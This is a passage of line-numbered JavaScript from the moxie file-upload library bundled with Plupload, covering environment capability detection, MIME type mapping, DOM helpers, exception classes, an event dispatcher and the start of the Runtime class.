1096 } catch (ex) {}
1097 return false;
1098 },
1099
1100 // ideas for this heavily come from Modernizr (http://modernizr.com/)
1101 use_data_uri: (function() {
1102 var du = new Image();
1103
1104 du.onload = function() {
1105 caps.use_data_uri = (du.width === 1 && du.height === 1);
1106 };
1107
1108 setTimeout(function() {
1109 du.src = "data:image/gif;base64,R0lGODlhAQABAIAAAP8AAAAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==";
1110 }, 1);
1111 return false;
1112 }()),
1113
1114 use_data_uri_over32kb: function() { // IE8
1115 return caps.use_data_uri && (Env.browser !== 'IE' || Env.version >= 9);
1116 },
1117
1118 use_data_uri_of: function(bytes) {
1119 return (caps.use_data_uri && bytes < 33000 || caps.use_data_uri_over32kb());
1120 },
1121
1122 use_fileinput: function() {
1123 if (navigator.userAgent.match(/(Android (1.0|1.1|1.5|1.6|2.0|2.1))|(Windows Phone (OS 7|8.0))|(XBLWP)|(ZuneWP)|(w(eb)?OSBrowser)|(webOS)|(Kindle\/(1.0|2.0|2.5|3.0))/)) {
1124 return false;
1125 }
1126
1127 var el = document.createElement('input');
1128 el.setAttribute('type', 'file');
1129 return !el.disabled;
1130 }
1131 };
1132
1133 return function(cap) {
1134 var args = [].slice.call(arguments);
1135 args.shift(); // shift of cap
1136 return Basic.typeOf(caps[cap]) === 'function' ? caps[cap].apply(this, args) : !!caps[cap];
1137 };
1138 }());
1139
1140
1141 var uaResult = new UAParser().getResult();
1142
1143
1144 var Env = {
1145 can: can,
1146
1147 uaParser: UAParser,
1148
1149 browser: uaResult.browser.name,
1150 version: uaResult.browser.version,
1151 os: uaResult.os.name, // everybody intuitively types it in a lowercase for some reason
1152 osVersion: uaResult.os.version,
1153
1154 verComp: version_compare,
1155
1156 global_event_dispatcher: "moxie.core.EventTarget.instance.dispatchEvent"
1157 };
1158
1159 // for backward compatibility
1160 // @deprecated Use `Env.os` instead
1161 Env.OS = Env.os;
1162
1163 if (MXI_DEBUG) {
1164 Env.debug = {
1165 runtime: true,
1166 events: false
1167 };
1168
1169 Env.log = function() {
1170
1171 function logObj(data) {
1172 // TODO: this should recursively print out the object in a pretty way
1173 console.appendChild(document.createTextNode(data + "\n"));
1174 }
1175
1176 var data = arguments[0];
1177
1178 if (Basic.typeOf(data) === 'string') {
1179 data = Basic.sprintf.apply(this, arguments);
1180 }
1181
1182 if (window && window.console && window.console.log) {
1183 window.console.log(data);
1184 } else if (document) {
1185 var console = document.getElementById('moxie-console');
1186 if (!console) {
1187 console = document.createElement('pre');
1188 console.id = 'moxie-console';
1189 //console.style.display = 'none';
1190 document.body.appendChild(console);
1191 }
1192
1193 if (Basic.inArray(Basic.typeOf(data), ['object', 'array']) !== -1) {
1194 logObj(data);
1195 } else {
1196 console.appendChild(document.createTextNode(data + "\n"));
1197 }
1198 }
1199 };
1200 }
1201
1202 return Env;
1203});
1204
1205// Included from: src/javascript/core/I18n.js
1206
1207/**
1208 * I18n.js
1209 *
1210 * Copyright 2013, Moxiecode Systems AB
1211 * Released under GPL License.
1212 *
1213 * License: http://www.plupload.com/license
1214 * Contributing: http://www.plupload.com/contributing
1215 */
1216
1217define("moxie/core/I18n", [
1218 "moxie/core/utils/Basic"
1219], function(Basic) {
1220 var i18n = {};
1221
1222 return {
1223 /**
1224 * Extends the language pack object with new items.
1225 *
1226 * @param {Object} pack Language pack items to add.
1227 * @return {Object} Extended language pack object.
1228 */
1229 addI18n: function(pack) {
1230 return Basic.extend(i18n, pack);
1231 },
1232
1233 /**
1234 * Translates the specified string by checking for the english string in the language pack lookup.
1235 *
1236 * @param {String} str String to look for.
1237 * @return {String} Translated string or the input string if it wasn't found.
1238 */
1239 translate: function(str) {
1240 return i18n[str] || str;
1241 },
1242
1243 /**
1244 * Shortcut for translate function
1245 *
1246 * @param {String} str String to look for.
1247 * @return {String} Translated string or the input string if it wasn't found.
1248 */
1249 _: function(str) {
1250 return this.translate(str);
1251 },
1252
1253 /**
1254 * Pseudo sprintf implementation - simple way to replace tokens with specified values.
1255 *
1256 * @param {String} str String with tokens
1257 * @return {String} String with replaced tokens
1258 */
1259 sprintf: function(str) {
1260 var args = [].slice.call(arguments, 1);
1261
1262 return str.replace(/%[a-z]/g, function() {
1263 var value = args.shift();
1264 return Basic.typeOf(value) !== 'undefined' ? value : '';
1265 });
1266 }
1267 };
1268});
1269
1270// Included from: src/javascript/core/utils/Mime.js
1271
1272/**
1273 * Mime.js
1274 *
1275 * Copyright 2013, Moxiecode Systems AB
1276 * Released under GPL License.
1277 *
1278 * License: http://www.plupload.com/license
1279 * Contributing: http://www.plupload.com/contributing
1280 */
1281
1282define("moxie/core/utils/Mime", [
1283 "moxie/core/utils/Basic",
1284 "moxie/core/I18n"
1285], function(Basic, I18n) {
1286
1287 var mimeData = "" +
1288 "application/msword,doc dot," +
1289 "application/pdf,pdf," +
1290 "application/pgp-signature,pgp," +
1291 "application/postscript,ps ai eps," +
1292 "application/rtf,rtf," +
1293 "application/vnd.ms-excel,xls xlb," +
1294 "application/vnd.ms-powerpoint,ppt pps pot," +
1295 "application/zip,zip," +
1296 "application/x-shockwave-flash,swf swfl," +
1297 "application/vnd.openxmlformats-officedocument.wordprocessingml.document,docx," +
1298 "application/vnd.openxmlformats-officedocument.wordprocessingml.template,dotx," +
1299 "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,xlsx," +
1300 "application/vnd.openxmlformats-officedocument.presentationml.presentation,pptx," +
1301 "application/vnd.openxmlformats-officedocument.presentationml.template,potx," +
1302 "application/vnd.openxmlformats-officedocument.presentationml.slideshow,ppsx," +
1303 "application/x-javascript,js," +
1304 "application/json,json," +
1305 "audio/mpeg,mp3 mpga mpega mp2," +
1306 "audio/x-wav,wav," +
1307 "audio/x-m4a,m4a," +
1308 "audio/ogg,oga ogg," +
1309 "audio/aiff,aiff aif," +
1310 "audio/flac,flac," +
1311 "audio/aac,aac," +
1312 "audio/ac3,ac3," +
1313 "audio/x-ms-wma,wma," +
1314 "image/bmp,bmp," +
1315 "image/gif,gif," +
1316 "image/jpeg,jpg jpeg jpe," +
1317 "image/photoshop,psd," +
1318 "image/png,png," +
1319 "image/svg+xml,svg svgz," +
1320 "image/tiff,tiff tif," +
1321 "text/plain,asc txt text diff log," +
1322 "text/html,htm html xhtml," +
1323 "text/css,css," +
1324 "text/csv,csv," +
1325 "text/rtf,rtf," +
1326 "video/mpeg,mpeg mpg mpe m2v," +
1327 "video/quicktime,qt mov," +
1328 "video/mp4,mp4," +
1329 "video/x-m4v,m4v," +
1330 "video/x-flv,flv," +
1331 "video/x-ms-wmv,wmv," +
1332 "video/avi,avi," +
1333 "video/webm,webm," +
1334 "video/3gpp,3gpp 3gp," +
1335 "video/3gpp2,3g2," +
1336 "video/vnd.rn-realvideo,rv," +
1337 "video/ogg,ogv," +
1338 "video/x-matroska,mkv," +
1339 "application/vnd.oasis.opendocument.formula-template,otf," +
1340 "application/octet-stream,exe";
1341
1342
1343 var Mime = {
1344
1345 mimes: {},
1346
1347 extensions: {},
1348
1349 // Parses the default mime types string into a mimes and extensions lookup maps
1350 addMimeType: function (mimeData) {
1351 var items = mimeData.split(/,/), i, ii, ext;
1352
1353 for (i = 0; i < items.length; i += 2) {
1354 ext = items[i + 1].split(/ /);
1355
1356 // extension to mime lookup
1357 for (ii = 0; ii < ext.length; ii++) {
1358 this.mimes[ext[ii]] = items[i];
1359 }
1360 // mime to extension lookup
1361 this.extensions[items[i]] = ext;
1362 }
1363 },
1364
1365
1366 extList2mimes: function (filters, addMissingExtensions) {
1367 var self = this, ext, i, ii, type, mimes = [];
1368
1369 // convert extensions to mime types list
1370 for (i = 0; i < filters.length; i++) {
1371 ext = filters[i].extensions.split(/\s*,\s*/);
1372
1373 for (ii = 0; ii < ext.length; ii++) {
1374
1375 // if there's an asterisk in the list, then accept attribute is not required
1376 if (ext[ii] === '*') {
1377 return [];
1378 }
1379
1380 type = self.mimes[ext[ii]];
1381 if (type && Basic.inArray(type, mimes) === -1) {
1382 mimes.push(type);
1383 }
1384
1385 // future browsers should filter by extension, finally
1386 if (addMissingExtensions && /^\w+$/.test(ext[ii])) {
1387 mimes.push('.' + ext[ii]);
1388 } else if (!type) {
1389 // if we have no type in our map, then accept all
1390 return [];
1391 }
1392 }
1393 }
1394 return mimes;
1395 },
1396
1397
1398 mimes2exts: function(mimes) {
1399 var self = this, exts = [];
1400
1401 Basic.each(mimes, function(mime) {
1402 if (mime === '*') {
1403 exts = [];
1404 return false;
1405 }
1406
1407 // check if this thing looks like mime type
1408 var m = mime.match(/^(\w+)\/(\*|\w+)$/);
1409 if (m) {
1410 if (m[2] === '*') {
1411 // wildcard mime type detected
1412 Basic.each(self.extensions, function(arr, mime) {
1413 if ((new RegExp('^' + m[1] + '/')).test(mime)) {
1414 [].push.apply(exts, self.extensions[mime]);
1415 }
1416 });
1417 } else if (self.extensions[mime]) {
1418 [].push.apply(exts, self.extensions[mime]);
1419 }
1420 }
1421 });
1422 return exts;
1423 },
1424
1425
1426 mimes2extList: function(mimes) {
1427 var accept = [], exts = [];
1428
1429 if (Basic.typeOf(mimes) === 'string') {
1430 mimes = Basic.trim(mimes).split(/\s*,\s*/);
1431 }
1432
1433 exts = this.mimes2exts(mimes);
1434
1435 accept.push({
1436 title: I18n.translate('Files'),
1437 extensions: exts.length ? exts.join(',') : '*'
1438 });
1439
1440 // save original mimes string
1441 accept.mimes = mimes;
1442
1443 return accept;
1444 },
1445
1446
1447 getFileExtension: function(fileName) {
1448 var matches = fileName && fileName.match(/\.([^.]+)$/);
1449 if (matches) {
1450 return matches[1].toLowerCase();
1451 }
1452 return '';
1453 },
1454
1455 getFileMime: function(fileName) {
1456 return this.mimes[this.getFileExtension(fileName)] || '';
1457 }
1458 };
1459
1460 Mime.addMimeType(mimeData);
1461
1462 return Mime;
1463});
1464
1465// Included from: src/javascript/core/utils/Dom.js
1466
1467/**
1468 * Dom.js
1469 *
1470 * Copyright 2013, Moxiecode Systems AB
1471 * Released under GPL License.
1472 *
1473 * License: http://www.plupload.com/license
1474 * Contributing: http://www.plupload.com/contributing
1475 */
1476
1477define('moxie/core/utils/Dom', ['moxie/core/utils/Env'], function(Env) {
1478
1479 /**
1480 Get DOM Element by it's id.
1481
1482 @method get
1483 @for Utils
1484 @param {String} id Identifier of the DOM Element
1485 @return {DOMElement}
1486 */
1487 var get = function(id) {
1488 if (typeof id !== 'string') {
1489 return id;
1490 }
1491 return document.getElementById(id);
1492 };
1493
1494 /**
1495 Checks if specified DOM element has specified class.
1496
1497 @method hasClass
1498 @static
1499 @param {Object} obj DOM element like object to add handler to.
1500 @param {String} name Class name
1501 */
1502 var hasClass = function(obj, name) {
1503 if (!obj.className) {
1504 return false;
1505 }
1506
1507 var regExp = new RegExp("(^|\\s+)"+name+"(\\s+|$)");
1508 return regExp.test(obj.className);
1509 };
1510
1511 /**
1512 Adds specified className to specified DOM element.
1513
1514 @method addClass
1515 @static
1516 @param {Object} obj DOM element like object to add handler to.
1517 @param {String} name Class name
1518 */
1519 var addClass = function(obj, name) {
1520 if (!hasClass(obj, name)) {
1521 obj.className = !obj.className ? name : obj.className.replace(/\s+$/, '') + ' ' + name;
1522 }
1523 };
1524
1525 /**
1526 Removes specified className from specified DOM element.
1527
1528 @method removeClass
1529 @static
1530 @param {Object} obj DOM element like object to add handler to.
1531 @param {String} name Class name
1532 */
1533 var removeClass = function(obj, name) {
1534 if (obj.className) {
1535 var regExp = new RegExp("(^|\\s+)"+name+"(\\s+|$)");
1536 obj.className = obj.className.replace(regExp, function($0, $1, $2) {
1537 return $1 === ' ' && $2 === ' ' ? ' ' : '';
1538 });
1539 }
1540 };
1541
1542 /**
1543 Returns a given computed style of a DOM element.
1544
1545 @method getStyle
1546 @static
1547 @param {Object} obj DOM element like object.
1548 @param {String} name Style you want to get from the DOM element
1549 */
1550 var getStyle = function(obj, name) {
1551 if (obj.currentStyle) {
1552 return obj.currentStyle[name];
1553 } else if (window.getComputedStyle) {
1554 return window.getComputedStyle(obj, null)[name];
1555 }
1556 };
1557
1558
1559 /**
1560 Returns the absolute x, y position of an Element. The position will be returned in a object with x, y fields.
1561
1562 @method getPos
1563 @static
1564 @param {Element} node HTML element or element id to get x, y position from.
1565 @param {Element} root Optional root element to stop calculations at.
1566 @return {object} Absolute position of the specified element object with x, y fields.
1567 */
1568 var getPos = function(node, root) {
1569 var x = 0, y = 0, parent, doc = document, nodeRect, rootRect;
1570
1571 node = node;
1572 root = root || doc.body;
1573
1574 // Returns the x, y cordinate for an element on IE 6 and IE 7
1575 function getIEPos(node) {
1576 var bodyElm, rect, x = 0, y = 0;
1577
1578 if (node) {
1579 rect = node.getBoundingClientRect();
1580 bodyElm = doc.compatMode === "CSS1Compat" ? doc.documentElement : doc.body;
1581 x = rect.left + bodyElm.scrollLeft;
1582 y = rect.top + bodyElm.scrollTop;
1583 }
1584
1585 return {
1586 x : x,
1587 y : y
1588 };
1589 }
1590
1591 // Use getBoundingClientRect on IE 6 and IE 7 but not on IE 8 in standards mode
1592 if (node && node.getBoundingClientRect && Env.browser === 'IE' && (!doc.documentMode || doc.documentMode < 8)) {
1593 nodeRect = getIEPos(node);
1594 rootRect = getIEPos(root);
1595
1596 return {
1597 x : nodeRect.x - rootRect.x,
1598 y : nodeRect.y - rootRect.y
1599 };
1600 }
1601
1602 parent = node;
1603 while (parent && parent != root && parent.nodeType) {
1604 x += parent.offsetLeft || 0;
1605 y += parent.offsetTop || 0;
1606 parent = parent.offsetParent;
1607 }
1608
1609 parent = node.parentNode;
1610 while (parent && parent != root && parent.nodeType) {
1611 x -= parent.scrollLeft || 0;
1612 y -= parent.scrollTop || 0;
1613 parent = parent.parentNode;
1614 }
1615
1616 return {
1617 x : x,
1618 y : y
1619 };
1620 };
1621
1622 /**
1623 Returns the size of the specified node in pixels.
1624
1625 @method getSize
1626 @static
1627 @param {Node} node Node to get the size of.
1628 @return {Object} Object with a w and h property.
1629 */
1630 var getSize = function(node) {
1631 return {
1632 w : node.offsetWidth || node.clientWidth,
1633 h : node.offsetHeight || node.clientHeight
1634 };
1635 };
1636
1637 return {
1638 get: get,
1639 hasClass: hasClass,
1640 addClass: addClass,
1641 removeClass: removeClass,
1642 getStyle: getStyle,
1643 getPos: getPos,
1644 getSize: getSize
1645 };
1646});
1647
1648// Included from: src/javascript/core/Exceptions.js
1649
1650/**
1651 * Exceptions.js
1652 *
1653 * Copyright 2013, Moxiecode Systems AB
1654 * Released under GPL License.
1655 *
1656 * License: http://www.plupload.com/license
1657 * Contributing: http://www.plupload.com/contributing
1658 */
1659
1660define('moxie/core/Exceptions', [
1661 'moxie/core/utils/Basic'
1662], function(Basic) {
1663 function _findKey(obj, value) {
1664 var key;
1665 for (key in obj) {
1666 if (obj[key] === value) {
1667 return key;
1668 }
1669 }
1670 return null;
1671 }
1672
1673 return {
1674 RuntimeError: (function() {
1675 var namecodes = {
1676 NOT_INIT_ERR: 1,
1677 NOT_SUPPORTED_ERR: 9,
1678 JS_ERR: 4
1679 };
1680
1681 function RuntimeError(code) {
1682 this.code = code;
1683 this.name = _findKey(namecodes, code);
1684 this.message = this.name + ": RuntimeError " + this.code;
1685 }
1686
1687 Basic.extend(RuntimeError, namecodes);
1688 RuntimeError.prototype = Error.prototype;
1689 return RuntimeError;
1690 }()),
1691
1692 OperationNotAllowedException: (function() {
1693
1694 function OperationNotAllowedException(code) {
1695 this.code = code;
1696 this.name = 'OperationNotAllowedException';
1697 }
1698
1699 Basic.extend(OperationNotAllowedException, {
1700 NOT_ALLOWED_ERR: 1
1701 });
1702
1703 OperationNotAllowedException.prototype = Error.prototype;
1704
1705 return OperationNotAllowedException;
1706 }()),
1707
1708 ImageError: (function() {
1709 var namecodes = {
1710 WRONG_FORMAT: 1,
1711 MAX_RESOLUTION_ERR: 2,
1712 INVALID_META_ERR: 3
1713 };
1714
1715 function ImageError(code) {
1716 this.code = code;
1717 this.name = _findKey(namecodes, code);
1718 this.message = this.name + ": ImageError " + this.code;
1719 }
1720
1721 Basic.extend(ImageError, namecodes);
1722 ImageError.prototype = Error.prototype;
1723
1724 return ImageError;
1725 }()),
1726
1727 FileException: (function() {
1728 var namecodes = {
1729 NOT_FOUND_ERR: 1,
1730 SECURITY_ERR: 2,
1731 ABORT_ERR: 3,
1732 NOT_READABLE_ERR: 4,
1733 ENCODING_ERR: 5,
1734 NO_MODIFICATION_ALLOWED_ERR: 6,
1735 INVALID_STATE_ERR: 7,
1736 SYNTAX_ERR: 8
1737 };
1738
1739 function FileException(code) {
1740 this.code = code;
1741 this.name = _findKey(namecodes, code);
1742 this.message = this.name + ": FileException " + this.code;
1743 }
1744
1745 Basic.extend(FileException, namecodes);
1746 FileException.prototype = Error.prototype;
1747 return FileException;
1748 }()),
1749
1750 DOMException: (function() {
1751 var namecodes = {
1752 INDEX_SIZE_ERR: 1,
1753 DOMSTRING_SIZE_ERR: 2,
1754 HIERARCHY_REQUEST_ERR: 3,
1755 WRONG_DOCUMENT_ERR: 4,
1756 INVALID_CHARACTER_ERR: 5,
1757 NO_DATA_ALLOWED_ERR: 6,
1758 NO_MODIFICATION_ALLOWED_ERR: 7,
1759 NOT_FOUND_ERR: 8,
1760 NOT_SUPPORTED_ERR: 9,
1761 INUSE_ATTRIBUTE_ERR: 10,
1762 INVALID_STATE_ERR: 11,
1763 SYNTAX_ERR: 12,
1764 INVALID_MODIFICATION_ERR: 13,
1765 NAMESPACE_ERR: 14,
1766 INVALID_ACCESS_ERR: 15,
1767 VALIDATION_ERR: 16,
1768 TYPE_MISMATCH_ERR: 17,
1769 SECURITY_ERR: 18,
1770 NETWORK_ERR: 19,
1771 ABORT_ERR: 20,
1772 URL_MISMATCH_ERR: 21,
1773 QUOTA_EXCEEDED_ERR: 22,
1774 TIMEOUT_ERR: 23,
1775 INVALID_NODE_TYPE_ERR: 24,
1776 DATA_CLONE_ERR: 25
1777 };
1778
1779 function DOMException(code) {
1780 this.code = code;
1781 this.name = _findKey(namecodes, code);
1782 this.message = this.name + ": DOMException " + this.code;
1783 }
1784
1785 Basic.extend(DOMException, namecodes);
1786 DOMException.prototype = Error.prototype;
1787 return DOMException;
1788 }()),
1789
1790 EventException: (function() {
1791 function EventException(code) {
1792 this.code = code;
1793 this.name = 'EventException';
1794 }
1795
1796 Basic.extend(EventException, {
1797 UNSPECIFIED_EVENT_TYPE_ERR: 0
1798 });
1799
1800 EventException.prototype = Error.prototype;
1801
1802 return EventException;
1803 }())
1804 };
1805});
1806
1807// Included from: src/javascript/core/EventTarget.js
1808
1809/**
1810 * EventTarget.js
1811 *
1812 * Copyright 2013, Moxiecode Systems AB
1813 * Released under GPL License.
1814 *
1815 * License: http://www.plupload.com/license
1816 * Contributing: http://www.plupload.com/contributing
1817 */
1818
1819define('moxie/core/EventTarget', [
1820 'moxie/core/utils/Env',
1821 'moxie/core/Exceptions',
1822 'moxie/core/utils/Basic'
1823], function(Env, x, Basic) {
1824 /**
1825 Parent object for all event dispatching components and objects
1826
1827 @class EventTarget
1828 @constructor EventTarget
1829 */
1830 function EventTarget() {
1831 // hash of event listeners by object uid
1832 var eventpool = {};
1833
1834 Basic.extend(this, {
1835
1836 /**
1837 Unique id of the event dispatcher, usually overriden by children
1838
1839 @property uid
1840 @type String
1841 */
1842 uid: null,
1843
1844 /**
1845 Can be called from within a child in order to acquire uniqie id in automated manner
1846
1847 @method init
1848 */
1849 init: function() {
1850 if (!this.uid) {
1851 this.uid = Basic.guid('uid_');
1852 }
1853 },
1854
1855 /**
1856 Register a handler to a specific event dispatched by the object
1857
1858 @method addEventListener
1859 @param {String} type Type or basically a name of the event to subscribe to
1860 @param {Function} fn Callback function that will be called when event happens
1861 @param {Number} [priority=0] Priority of the event handler - handlers with higher priorities will be called first
1862 @param {Object} [scope=this] A scope to invoke event handler in
1863 */
1864 addEventListener: function(type, fn, priority, scope) {
1865 var self = this, list;
1866
1867 // without uid no event handlers can be added, so make sure we got one
1868 if (!this.hasOwnProperty('uid')) {
1869 this.uid = Basic.guid('uid_');
1870 }
1871
1872 type = Basic.trim(type);
1873
1874 if (/\s/.test(type)) {
1875 // multiple event types were passed for one handler
1876 Basic.each(type.split(/\s+/), function(type) {
1877 self.addEventListener(type, fn, priority, scope);
1878 });
1879 return;
1880 }
1881
1882 type = type.toLowerCase();
1883 priority = parseInt(priority, 10) || 0;
1884
1885 list = eventpool[this.uid] && eventpool[this.uid][type] || [];
1886 list.push({fn : fn, priority : priority, scope : scope || this});
1887
1888 if (!eventpool[this.uid]) {
1889 eventpool[this.uid] = {};
1890 }
1891 eventpool[this.uid][type] = list;
1892 },
1893
1894 /**
1895 Check if any handlers were registered to the specified event
1896
1897 @method hasEventListener
1898 @param {String} type Type or basically a name of the event to check
1899 @return {Mixed} Returns a handler if it was found and false, if - not
1900 */
1901 hasEventListener: function(type) {
1902 var list = type ? eventpool[this.uid] && eventpool[this.uid][type] : eventpool[this.uid];
1903 return list ? list : false;
1904 },
1905
1906 /**
1907 Unregister the handler from the event, or if former was not specified - unregister all handlers
1908
1909 @method removeEventListener
1910 @param {String} type Type or basically a name of the event
1911 @param {Function} [fn] Handler to unregister
1912 */
1913 removeEventListener: function(type, fn) {
1914 type = type.toLowerCase();
1915
1916 var list = eventpool[this.uid] && eventpool[this.uid][type], i;
1917
1918 if (list) {
1919 if (fn) {
1920 for (i = list.length - 1; i >= 0; i--) {
1921 if (list[i].fn === fn) {
1922 list.splice(i, 1);
1923 break;
1924 }
1925 }
1926 } else {
1927 list = [];
1928 }
1929
1930 // delete event list if it has become empty
1931 if (!list.length) {
1932 delete eventpool[this.uid][type];
1933
1934 // and object specific entry in a hash if it has no more listeners attached
1935 if (Basic.isEmptyObj(eventpool[this.uid])) {
1936 delete eventpool[this.uid];
1937 }
1938 }
1939 }
1940 },
1941
1942 /**
1943 Remove all event handlers from the object
1944
1945 @method removeAllEventListeners
1946 */
1947 removeAllEventListeners: function() {
1948 if (eventpool[this.uid]) {
1949 delete eventpool[this.uid];
1950 }
1951 },
1952
1953 /**
1954 Dispatch the event
1955
1956 @method dispatchEvent
1957 @param {String/Object} Type of event or event object to dispatch
1958 @param {Mixed} [...] Variable number of arguments to be passed to a handlers
1959 @return {Boolean} true by default and false if any handler returned false
1960 */
1961 dispatchEvent: function(type) {
1962 var uid, list, args, tmpEvt, evt = {}, result = true, undef;
1963
1964 if (Basic.typeOf(type) !== 'string') {
1965 // we can't use original object directly (because of Silverlight)
1966 tmpEvt = type;
1967
1968 if (Basic.typeOf(tmpEvt.type) === 'string') {
1969 type = tmpEvt.type;
1970
1971 if (tmpEvt.total !== undef && tmpEvt.loaded !== undef) { // progress event
1972 evt.total = tmpEvt.total;
1973 evt.loaded = tmpEvt.loaded;
1974 }
1975 evt.async = tmpEvt.async || false;
1976 } else {
1977 throw new x.EventException(x.EventException.UNSPECIFIED_EVENT_TYPE_ERR);
1978 }
1979 }
1980
1981 // check if event is meant to be dispatched on an object having specific uid
1982 if (type.indexOf('::') !== -1) {
1983 (function(arr) {
1984 uid = arr[0];
1985 type = arr[1];
1986 }(type.split('::')));
1987 } else {
1988 uid = this.uid;
1989 }
1990
1991 type = type.toLowerCase();
1992
1993 list = eventpool[uid] && eventpool[uid][type];
1994
1995 if (list) {
1996 // sort event list by prority
1997 list.sort(function(a, b) { return b.priority - a.priority; });
1998
1999 args = [].slice.call(arguments);
2000
2001 // first argument will be pseudo-event object
2002 args.shift();
2003 evt.type = type;
2004 args.unshift(evt);
2005
2006 if (MXI_DEBUG && Env.debug.events) {
2007 Env.log("Event '%s' fired on %u", evt.type, uid);
2008 }
2009
2010 // Dispatch event to all listeners
2011 var queue = [];
2012 Basic.each(list, function(handler) {
2013 // explicitly set the target, otherwise events fired from shims do not get it
2014 args[0].target = handler.scope;
2015 // if event is marked as async, detach the handler
2016 if (evt.async) {
2017 queue.push(function(cb) {
2018 setTimeout(function() {
2019 cb(handler.fn.apply(handler.scope, args) === false);
2020 }, 1);
2021 });
2022 } else {
2023 queue.push(function(cb) {
2024 cb(handler.fn.apply(handler.scope, args) === false); // if handler returns false stop propagation
2025 });
2026 }
2027 });
2028 if (queue.length) {
2029 Basic.inSeries(queue, function(err) {
2030 result = !err;
2031 });
2032 }
2033 }
2034 return result;
2035 },
2036
2037 /**
2038 Alias for addEventListener
2039
2040 @method bind
2041 @protected
2042 */
2043 bind: function() {
2044 this.addEventListener.apply(this, arguments);
2045 },
2046
2047 /**
2048 Alias for removeEventListener
2049
2050 @method unbind
2051 @protected
2052 */
2053 unbind: function() {
2054 this.removeEventListener.apply(this, arguments);
2055 },
2056
2057 /**
2058 Alias for removeAllEventListeners
2059
2060 @method unbindAll
2061 @protected
2062 */
2063 unbindAll: function() {
2064 this.removeAllEventListeners.apply(this, arguments);
2065 },
2066
2067 /**
2068 Alias for dispatchEvent
2069
2070 @method trigger
2071 @protected
2072 */
2073 trigger: function() {
2074 return this.dispatchEvent.apply(this, arguments);
2075 },
2076
2077
2078 /**
2079 Handle properties of on[event] type.
2080
2081 @method handleEventProps
2082 @private
2083 */
2084 handleEventProps: function(dispatches) {
2085 var self = this;
2086
2087 this.bind(dispatches.join(' '), function(e) {
2088 var prop = 'on' + e.type.toLowerCase();
2089 if (Basic.typeOf(this[prop]) === 'function') {
2090 this[prop].apply(this, arguments);
2091 }
2092 });
2093
2094 // object must have defined event properties, even if it doesn't make use of them
2095 Basic.each(dispatches, function(prop) {
2096 prop = 'on' + prop.toLowerCase(prop);
2097 if (Basic.typeOf(self[prop]) === 'undefined') {
2098 self[prop] = null;
2099 }
2100 });
2101 }
2102
2103 });
2104 }
2105
2106 EventTarget.instance = new EventTarget();
2107
2108 return EventTarget;
2109});
2110
2111// Included from: src/javascript/runtime/Runtime.js
2112
2113/**
2114 * Runtime.js
2115 *
2116 * Copyright 2013, Moxiecode Systems AB
2117 * Released under GPL License.
2118 *
2119 * License: http://www.plupload.com/license
2120 * Contributing: http://www.plupload.com/contributing
2121 */
2122
2123define('moxie/runtime/Runtime', [
2124 "moxie/core/utils/Env",
2125 "moxie/core/utils/Basic",
2126 "moxie/core/utils/Dom",
2127 "moxie/core/EventTarget"
2128], function(Env, Basic, Dom, EventTarget) {
2129 var runtimeConstructors = {}, runtimes = {};
2130
2131 /**
2132 Common set of methods and properties for every runtime instance
2133
2134 @class Runtime
2135
2136 @param {Object} options
2137 @param {String} type Sanitized name of the runtime
2138 @param {Object} [caps] Set of capabilities that differentiate specified runtime
2139 @param {Object} [modeCaps] Set of capabilities that do require specific operational mode
2140 @param {String} [preferredMode='browser'] Preferred operational mode to choose if no required capabilities were requested
2141 */
2142 function Runtime(options, type, caps, modeCaps, preferredMode) {
2143 /**
2144 Dispatched when runtime is initialized and ready.
2145 Results in RuntimeInit on a connected component.
2146
2147 @event Init
2148 */
2149
2150 /**
2151 Dispatched when runtime fails to initialize.
2152 Results in RuntimeError on a connected component.
2153
2154 @event Error
2155 */
2156
2157 var self = this
2158 , _shim
2159 , _uid = Basic.guid(type + '_')
2160 , defaultMode = preferredMode || 'browser'
2161 ;
2162
2163 options = options || {};
2164
2165 // register runtime in private hash
2166 runtimes[_uid] = this;
2167
2168 /**
2169 Default set of capabilities, which can be redifined later by specific runtime
2170
2171 @private
2172 @property caps
2173 @type Object
2174 */
2175 caps = Basic.extend({
2176 // Runtime can:
2177 // provide access to raw binary data of the file
2178 access_binary: false,
2179 // provide access to raw binary data of the image (image extension is optional)
2180 access_image_binary: false,
2181 // display binary data as thumbs for example
2182 display_media: false,
2183 // make cross-domain requests
2184 do_cors: false,
2185 // accept files dragged and dropped from the desktop
2186 drag_and_drop: false,
2187 // filter files in selection dialog by their extensions
2188 filter_by_extension: true,
2189 // resize image (and manipulate it raw data of any file in general)
2190 resize_image: false,
2191 // periodically report how many bytes of total in the file were uploaded (loaded)
2192 report_upload_progress: false,
2193 // provide access to the headers of http response
2194 return_response_headers: false,
2195 // support response of specific type, which should be passed as an argument
2196 // e.g. runtime.can('return_response_type', 'blob')
2197 return_response_type: false,
2198 // return http status code of the response
2199 return_status_code: true,
2200 // send custom http header with the request
2201 send_custom_headers: false,
2202 // pick up the files from a dialog
2203 select_file: false,
2204 // select whole folder in file browse dialog
2205 select_folder: false,
2206 // select multiple files at once in file browse dialog
2207 select_multiple: true,
2208 // send raw binary data, that is generated after image resizing or manipulation of other kind
2209 send_binary_string: false,
2210 // send cookies with http request and therefore retain session
2211 send_browser_cookies: true,
2212 // send data formatted as multipart/form-data
2213 send_multipart: true,
2214 // slice the file or blob to smaller parts
2215 slice_blob: false,
2216 // upload file without preloading it to memory, stream it out directly from disk
2217 stream_upload: false,
2218 // programmatically trigger file browse dialog
2219 summon_file_dialog: false,
2220 // upload file of specific size, size should be passed as argument
2221 // e.g. runtime.can('upload_filesize', '500mb')
2222 upload_filesize: true,
2223 // initiate http request with specific http method, method should be passed as argument
2224 // e.g. runtime.can('use_http_method', 'put')
2225 use_http_method: true
2226 }, caps);
2227
2228
2229 // default to the mode that is compatible with preferred caps
2230 if (options.preferred_caps) {
2231 defaultMode = Runtime.getMode(modeCaps, options.preferred_caps, defaultMode);
2232 }
2233
2234 if (MXI_DEBUG && Env.debug.runtime) {
2235 Env.log("\tdefault mode: %s", defaultMode);
2236 }
2237
2238 // small extension factory here (is meant to be extended with actual extensions constructors)
2239 _shim = (function() {
2240 var objpool = {};
2241 return {
2242 exec: function(uid, comp, fn, args) {
2243 if (_shim[comp]) {
2244 if (!objpool[uid]) {
2245 objpool[uid] = {
2246 context: this,
2247 instance: new _shim[comp]()
2248 };
2249 }
2250 if (objpool[uid].instance[fn]) {
2251 return objpool[uid].instance[fn].apply(this, args);
2252 }
2253 }
2254 },
2255
